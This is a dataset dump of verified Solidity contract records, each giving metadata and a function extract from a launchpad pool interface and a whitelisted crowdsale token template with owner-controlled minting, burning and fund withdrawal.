bzzr://c11400a2cffab20ff4b7bd8cbf3557fec9f6203fcc8446e49192762f81b7107b
{ "func_code_index": [ 5274, 5463 ] }
14,133
LaunchpadRouter
contracts/interfaces/launchpad/ILaunchpadPool.sol
0xbf28b407836fc73624a66994db0df22b33601636
Solidity
ILaunchpadPool
interface ILaunchpadPool { struct VestingPhase { uint256 fromTimestamp; uint256 toTimestamp; uint256 percentage; } struct VestingPlan { uint256 length; mapping(uint256 => VestingPhase) phases; } struct PurchasePhase { uint256 fromTimestamp; uint256 toTimestamp; } struct PurchasePlan { uint256 length; mapping(uint256 => PurchasePhase) phases; } struct PoolDetail { string poolId; string poolType; address tokenAddress; uint256[] tokenSupply; uint256[] tokenSold; uint256[] openAllocation; address supportedPayment; uint256[] supportedRates; PurchasePhase[] purchasePlan; VestingPhase[] vestingPlan; uint256 bps; } struct UserDetail { string poolId; address userAddress; uint256[] orderedAmount; uint256[] vestedAmount; uint256[] accumulatedAmount; } event SetVerifier(address verifier); event NewMerkleRoot( bytes32 root, string ipfsCID, address submitter ); event TokenWithdraw(address token, uint256 amount, address sendTo); event EtherWithdraw(uint256 amount, address sendTo); event NewPoolPlans( PurchasePhase[] purchasePlan, VestingPhase[] vestingPlan ); event NewPaymentTypes( address _paymentToken, uint256[] _paymentRates ); event NewOrder( string indexed poolId, address recipient, address paymentToken, uint256 paymentAmount, uint256[] purchaseAmount ); // Admin function submitMerkleRoot(bytes32 _merkleRoot, string calldata _ipfsCID) external; // Actions function purchase( address buyer, address paymentToken, uint256 paymentAmount, uint256[] calldata purchaseAmount, uint256[] calldata purchaseCap, bytes32[] calldata merkleProof, bytes calldata signature ) external payable; function vest(address buyer, uint256[] calldata vestAmount) external; // Views function getPoolDetail() external view returns (PoolDetail memory); function getUserDetails(address[] calldata userAddresses) external view returns (UserDetail[] memory); function updatePool(uint256[] calldata _openAllocation) external; function updatePlans( PurchasePhase[] calldata _purchasePlan, VestingPhase[] calldata _vestingPlan ) external; function updateTokenAddress( address _tokenAddress ) external; function updatePayments(address _paymentToken, uint256[] calldata _paymentRates) external; function getMerkleRoot() external view returns(bytes32); function getIpfsCID() external view returns(string memory); }
submitMerkleRoot
function submitMerkleRoot(bytes32 _merkleRoot, string calldata _ipfsCID) external;
// Admin
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 1687, 1773 ] }
14,134
LaunchpadRouter
contracts/interfaces/launchpad/ILaunchpadPool.sol
0xbf28b407836fc73624a66994db0df22b33601636
Solidity
ILaunchpadPool
interface ILaunchpadPool { struct VestingPhase { uint256 fromTimestamp; uint256 toTimestamp; uint256 percentage; } struct VestingPlan { uint256 length; mapping(uint256 => VestingPhase) phases; } struct PurchasePhase { uint256 fromTimestamp; uint256 toTimestamp; } struct PurchasePlan { uint256 length; mapping(uint256 => PurchasePhase) phases; } struct PoolDetail { string poolId; string poolType; address tokenAddress; uint256[] tokenSupply; uint256[] tokenSold; uint256[] openAllocation; address supportedPayment; uint256[] supportedRates; PurchasePhase[] purchasePlan; VestingPhase[] vestingPlan; uint256 bps; } struct UserDetail { string poolId; address userAddress; uint256[] orderedAmount; uint256[] vestedAmount; uint256[] accumulatedAmount; } event SetVerifier(address verifier); event NewMerkleRoot( bytes32 root, string ipfsCID, address submitter ); event TokenWithdraw(address token, uint256 amount, address sendTo); event EtherWithdraw(uint256 amount, address sendTo); event NewPoolPlans( PurchasePhase[] purchasePlan, VestingPhase[] vestingPlan ); event NewPaymentTypes( address _paymentToken, uint256[] _paymentRates ); event NewOrder( string indexed poolId, address recipient, address paymentToken, uint256 paymentAmount, uint256[] purchaseAmount ); // Admin function submitMerkleRoot(bytes32 _merkleRoot, string calldata _ipfsCID) external; // Actions function purchase( address buyer, address paymentToken, uint256 paymentAmount, uint256[] calldata purchaseAmount, uint256[] calldata purchaseCap, bytes32[] calldata merkleProof, bytes calldata signature ) external payable; function vest(address buyer, uint256[] calldata vestAmount) external; // Views function getPoolDetail() external view returns (PoolDetail memory); function getUserDetails(address[] calldata userAddresses) external view returns (UserDetail[] memory); function updatePool(uint256[] calldata _openAllocation) external; function updatePlans( PurchasePhase[] calldata _purchasePlan, VestingPhase[] calldata _vestingPlan ) external; function updateTokenAddress( address _tokenAddress ) external; function updatePayments(address _paymentToken, uint256[] calldata _paymentRates) external; function getMerkleRoot() external view returns(bytes32); function getIpfsCID() external view returns(string memory); }
purchase
function purchase( address buyer, address paymentToken, uint256 paymentAmount, uint256[] calldata purchaseAmount, uint256[] calldata purchaseCap, bytes32[] calldata merkleProof, bytes calldata signature ) external payable;
// Actions
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 1790, 2076 ] }
14,135
LaunchpadRouter
contracts/interfaces/launchpad/ILaunchpadPool.sol
0xbf28b407836fc73624a66994db0df22b33601636
Solidity
ILaunchpadPool
interface ILaunchpadPool { struct VestingPhase { uint256 fromTimestamp; uint256 toTimestamp; uint256 percentage; } struct VestingPlan { uint256 length; mapping(uint256 => VestingPhase) phases; } struct PurchasePhase { uint256 fromTimestamp; uint256 toTimestamp; } struct PurchasePlan { uint256 length; mapping(uint256 => PurchasePhase) phases; } struct PoolDetail { string poolId; string poolType; address tokenAddress; uint256[] tokenSupply; uint256[] tokenSold; uint256[] openAllocation; address supportedPayment; uint256[] supportedRates; PurchasePhase[] purchasePlan; VestingPhase[] vestingPlan; uint256 bps; } struct UserDetail { string poolId; address userAddress; uint256[] orderedAmount; uint256[] vestedAmount; uint256[] accumulatedAmount; } event SetVerifier(address verifier); event NewMerkleRoot( bytes32 root, string ipfsCID, address submitter ); event TokenWithdraw(address token, uint256 amount, address sendTo); event EtherWithdraw(uint256 amount, address sendTo); event NewPoolPlans( PurchasePhase[] purchasePlan, VestingPhase[] vestingPlan ); event NewPaymentTypes( address _paymentToken, uint256[] _paymentRates ); event NewOrder( string indexed poolId, address recipient, address paymentToken, uint256 paymentAmount, uint256[] purchaseAmount ); // Admin function submitMerkleRoot(bytes32 _merkleRoot, string calldata _ipfsCID) external; // Actions function purchase( address buyer, address paymentToken, uint256 paymentAmount, uint256[] calldata purchaseAmount, uint256[] calldata purchaseCap, bytes32[] calldata merkleProof, bytes calldata signature ) external payable; function vest(address buyer, uint256[] calldata vestAmount) external; // Views function getPoolDetail() external view returns (PoolDetail memory); function getUserDetails(address[] calldata userAddresses) external view returns (UserDetail[] memory); function updatePool(uint256[] calldata _openAllocation) external; function updatePlans( PurchasePhase[] calldata _purchasePlan, VestingPhase[] calldata _vestingPlan ) external; function updateTokenAddress( address _tokenAddress ) external; function updatePayments(address _paymentToken, uint256[] calldata _paymentRates) external; function getMerkleRoot() external view returns(bytes32); function getIpfsCID() external view returns(string memory); }
getPoolDetail
function getPoolDetail() external view returns (PoolDetail memory);
// Views
LineComment
v0.7.6+commit.7338295f
{ "func_code_index": [ 2166, 2237 ] }
14,136
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
CrowdsaleInterface
contract CrowdsaleInterface { bool fundingGoalReached = false; bool crowdsaleClosed = false; mapping(address => uint8) whitelist; mapping(uint256 => address) holders; mapping(address => uint) maxInvestLimitList; uint256 _totalHolders; // you should initialize this to 0 in the constructor function enableWhitelist(address[] _addresses) public returns (bool success); function setMaximumInvest(address _address, uint _amount) public returns (bool success); modifier onlyWhitelist() { require(whitelist[msg.sender] == 2); _; } }
enableWhitelist
function enableWhitelist(address[] _addresses) public returns (bool success);
// you should initialize this to 0 in the constructor
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 328, 410 ] }
14,137
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
Owned
contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ // function transferOwnership(address newOwner) public onlyOwner { // _transferOwnership(newOwner); // } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } }
// ---------------------------------------------------------------------------- // Owned contract // ----------------------------------------------------------------------------
LineComment
_transferOwnership
function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 718, 908 ] }
14,138
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
TokenTemplate
contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
totalSupply
function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); }
// ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 1383, 1502 ] }
14,139
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
TokenTemplate
contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
balanceOf
function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; }
// ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 1724, 1849 ] }
14,140
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
TokenTemplate
contract TokenTemplate is ERC20Interface, CrowdsaleInterface, Owned { using SafeMath for uint; bytes32 public symbol; uint public priceRate; uint public minimumInvest; bytes32 public name; uint8 public decimals; uint _totalSupply; uint amountRaised; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor(bytes32 _name, bytes32 _symbol, uint _total, uint _weiCostOfEachToken, uint _weiMinimumInvest) public { symbol = _symbol; name = _name; decimals = 18; priceRate= _weiCostOfEachToken; minimumInvest= _weiMinimumInvest; _totalSupply = _total * 10**uint(decimals); _totalHolders = 0; balances[owner] = _totalSupply; holders[_totalHolders] = owner; whitelist[owner] = 2; maxInvestLimitList[owner] = 0; _totalHolders++; emit Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) onlyWhitelist public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) onlyWhitelist public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function enableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _addWalletToWhitelist(_addresses[i]); } return true; } function _addWalletToWhitelist(address addr) internal { if (whitelist[addr] == 2) { } else if (whitelist[addr] == 1) { whitelist[addr] = 2; } else { whitelist[addr] = 2; holders[_totalHolders] = addr; maxInvestLimitList[addr] = 0; _totalHolders++; } } function disableWhitelist(address[] _addresses) public onlyOwner returns (bool success) { for (uint i = 0; i < _addresses.length; i++) { _disableWhitelist(_addresses[i]); } return true; } function _disableWhitelist(address addr) internal { if (whitelist[addr] == 2) { whitelist[addr] = 1; } else { } } function getWhitelist() public view returns (address[] addresses) { uint256 j; uint256 count = 0; for (j=0; j<_totalHolders; j++) { if (whitelist[holders[j]] == 2) { count = count+1; } else { } } address[] memory wlist = new address[](count); for (j=0; j<count; j++) { if (whitelist[holders[j]] == 2) { wlist[j] = holders[j]; } else { } } return wlist; } function getBalances() public view returns (address[] _addresses, uint256[] _balances) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; //////} } return (wlist1,wlist2); } function getBalancesAndMaxLimit() public view returns (address[] _addresses, uint256[] _balances, uint256[] _limits) { address[] memory wlist1 = new address[](_totalHolders); uint256[] memory wlist2 = new uint256[](_totalHolders); uint256[] memory wlist3 = new uint256[](_totalHolders); for (uint256 j=0; j<_totalHolders; j++) { //////if (whitelist[holders[j]] == 2) { wlist1[j] = holders[j]; wlist2[j] = balances[holders[j]]; wlist3[j] = maxInvestLimitList[holders[j]]; //////} } return (wlist1,wlist2,wlist3); } function closeCrowdsale() public onlyOwner { crowdsaleClosed = true; } function safeWithdrawal() public onlyOwner { require(crowdsaleClosed); require(!fundingGoalReached); if (msg.sender.send(amountRaised)) { fundingGoalReached = true; } else { fundingGoalReached = false; } } // immediate withdrawal withou funding goal reached and without crowdsale close function immediateWithdrawal() public onlyOwner { if (msg.sender.send(amountRaised)) { //fundingGoalReached = true; amountRaised = 0; } else { //fundingGoalReached = false; } } function burnTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); balances[owner] = balances[owner].sub(token_amount); _totalSupply = _totalSupply.sub(token_amount); emit Transfer(owner, address(0), token_amount); } function mintTokens(uint token_amount) public onlyOwner { require(!crowdsaleClosed); _totalSupply = _totalSupply.add(token_amount); balances[owner] = balances[owner].add(token_amount); emit Transfer(address(0), owner, token_amount); } function transferOwnership(address newOwner) public onlyOwner { require(!crowdsaleClosed); // enable newOwner to whitelist _addWalletToWhitelist(newOwner); // puts unrealized tokens to new owner uint token_amount = balances[owner]; balances[owner] = 0; balances[newOwner] = balances[newOwner].add(token_amount); emit Transfer(owner, newOwner, token_amount); // change owner _transferOwnership(newOwner); } function setMaximumInvest(address _address, uint _amount) public onlyOwner returns (bool success) { if (whitelist[_address] == 2) { maxInvestLimitList[_address] = _amount; return true; } else { return false; } } function setMinimumInvest(uint _weiMinimumInvest) public onlyOwner { minimumInvest = _weiMinimumInvest; } function setPriceRate(uint _weiCostOfEachToken) public onlyOwner { priceRate = _weiCostOfEachToken; } function () payable onlyWhitelist public { require(!crowdsaleClosed); uint amount = msg.value; require(amount >= minimumInvest); require(amount.div(priceRate) > 0); require( maxInvestLimitList[msg.sender]>=amount || maxInvestLimitList[msg.sender] == 0 ); uint token_amount = (amount.div(priceRate))*10**18; amountRaised = amountRaised.add(amount); balances[owner] = balances[owner].sub(token_amount); balances[msg.sender] = balances[msg.sender].add(token_amount); emit Transfer(owner, msg.sender, token_amount); } }
transfer
function transfer(address to, uint tokens) onlyWhitelist public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; }
// ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------
LineComment
v0.4.25+commit.59dbf8f1
bzzr://508ed58b6f9f70d9302e4e860c4f48702022f9eb763d400cc5de2d4f198f08d9
{ "func_code_index": [ 2195, 2481 ] }
14,141
TokenTemplate
TokenTemplate.sol
0x01fdb5103a0d9de8d12e32e7775d5799bd715a54
Solidity
TokenTemplate
